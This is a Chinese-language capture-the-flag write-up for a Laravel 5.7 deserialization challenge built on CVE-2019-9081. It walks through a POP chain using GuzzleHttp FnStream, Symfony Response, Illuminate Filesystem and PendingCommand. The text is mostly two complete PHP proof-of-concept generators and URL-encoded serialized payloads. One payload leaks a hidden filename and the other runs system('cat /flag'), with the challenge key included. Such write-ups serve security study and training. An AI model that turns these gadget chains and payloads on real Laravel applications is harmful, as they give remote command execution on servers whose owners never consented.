考察的是Laravel的CVE-2019-9081,影响版本为5.7.x
get到一个新工具:BeyondCompare,用来比较文件差异的,可以比较方便的看出他做了哪些开发
把5.7.x的源码下载下来,比较一下,发现序列化!
有个小绕过,在serialize后随便加一点东西就可以了,比如serializeabc
与网上的poc不同,他的路由命名为hello了,在hello路由下可以执行反序列化
在网上找到的cve复现,看到漏洞是在PendingCommand.php出现的,跑去看看
果然有信息
要读取到这个key,才能进行下一步的操作,得用原生类
我们的目的是找出这个.axxx.txt的完整的文件名
在Filesystem这个类里面使用了FilesystemIterator迭代器遍历目录,会把参数里的目录全遍历出来
这样的话我们反序列化的时候去触发这个__toString()方法把参数传进去来遍历当前的目录,就可以遍历到.axxxx.txt了
当触发了__toString方法后就会返回文件名,那我们就得找一个能把他回显出来的东西
在vendor/symfony/http-foundation里面有个Response.php,这里面有一个方法sendContent
这个方法就会打印出content
析构方法
所以我们可以这样构造一个析构方法,因为前面说了触发了__toSring后会返回文件名
所以我们让:content的值=这个返回的文件名,再去**触发这个sentContent()**就可以把文件名给回显出来了
在原来的cve中,命令的执行会发生在PendingCommand.php的__destruct()里面
但是这题他把&this->run()删除了,那我们就得另寻他路来执行到PendingCommand.php中的run()这个函数了
看wp知道,预期解里面__destrusct()入口在FnStream.php里面,有个call_user_func()
这里原来是不能反序列化的,出题人注释掉了限制__wakeup()所以这里是可以执行命令的
但是这里是有个问题的,这个call_user_func()
只能传入一个参数,那么我们就要考虑利用pop链让他执行某个类内部的方法
至于怎么调用类内部的方法:给这个函数传入一个数组,第一个值是你想调用的类的实例,第二个值是那个类对应的某个方法名
由于他只会执行$_fn_close,那我们就可以直接定义好$_fn_close进行变量的覆盖,让我们
所以我们大概需要的东西就已经齐全了,屡一下思路
sendContent方法
,回显出文件名poc1
use Psr\Http\Message\StreamInterface;
namespace GuzzleHttp\Psr7{
class FnStream {
private $methods;
private static $slots = ['__toString', 'close', 'detach', 'rewind',
'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
'isReadable', 'read', 'getContents', 'getMetadata'];
public $_fn_close;
public function __construct($obj){
$this->_fn_close = $obj;
}
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
}
namespace Symfony\Component\HttpFoundation{
class Response{
public $content;
public function __construct($obj)
{
$this->content = $obj;
}
public function sendContent(){
echo $this->content;
return $this;
}
}
}
namespace Illuminate\Filesystem{
use ErrorException;
use FilesystemIterator;
use Symfony\Component\Finder\Finder;
use Illuminate\Support\Traits\Macroable;
use Illuminate\Contracts\Filesystem\FileNotFoundException;
class Filesystem{
}
}
namespace{
$text = new \Illuminate\Filesystem\Filesystem();
$obj1 = new \Symfony\Component\HttpFoundation\Response($text);
$arr = array($obj1,"sendContent"); //调用__toString()方法
$obj = new \GuzzleHttp\Psr7\FnStream($arr);
echo (serialize($obj));
}
payload:
/hello?action=serializeabc&ser=O%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A2%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CPsr7%5CFnStream%00methods%22%3BN%3Bs%3A9%3A%22_fn_close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A41%3A%22Symfony%5CComponent%5CHttpFoundation%5CResponse%22%3A1%3A%7Bs%3A7%3A%22content%22%3BO%3A32%3A%22Illuminate%5CFilesystem%5CFilesystem%22%3A0%3A%7B%7D%7Di%3A1%3Bs%3A11%3A%22sendContent%22%3B%7D%7D
这里就是CVE-2019-9081里面用的链了
但是由于pendingcommand类里面的__destruct()被删除,所以还是要借助FnStream.php的__destruct()来执行pendingcommand类里面的run方法
这里就不多说了
poc2
use Psr\Http\Message\StreamInterface;
namespace GuzzleHttp\Psr7{
class FnStream {
private $methods;
private static $slots = ['__toString', 'close', 'detach', 'rewind',
'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
'isReadable', 'read', 'getContents', 'getMetadata'];
public $_fn_close;
public function __construct($obj){
$this->_fn_close = $obj;
}
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
}
namespace Illuminate\Foundation\Testing{
use PHPUnit\Framework\TestCase as PHPUnitTestCase;
class PendingCommand{
protected $app;
protected $command;
protected $parameters;
public $test;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes)
{
$this->attributes = $attributes;
}
public function __get($key)
{
return $this->attributes[$key];
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
//这里需要两次使用来循环获得以便成功跳过方法,两次键名分别为expectedOutput和expectedQuestions
"expectedOutput"=>array("crispr"=>"0"),
"expectedQuestions"=>array("crispr"=>"1")
)
);
$app = new Illuminate\Foundation\Application();
//通过如下步骤最终获得的$this->app[Kernel::class]就是该Application实例
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
$genericuser,
$application,
"system",
array("cat /flag")
);
$obj = new \GuzzleHttp\Psr7\FnStream(array($pendingcommand,"run"));
echo urlencode(serialize($obj));
}
payload:
/hello?action=serializeabc&ser=O%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A2%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CPsr7%5CFnStream%00methods%22%3BN%3Bs%3A9%3A%22_fn_close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bs%3A6%3A%22crispr%22%3Bs%3A1%3A%220%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bs%3A6%3A%22crispr%22%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D&key=W3lc0Me_2_MRCTF_2O2l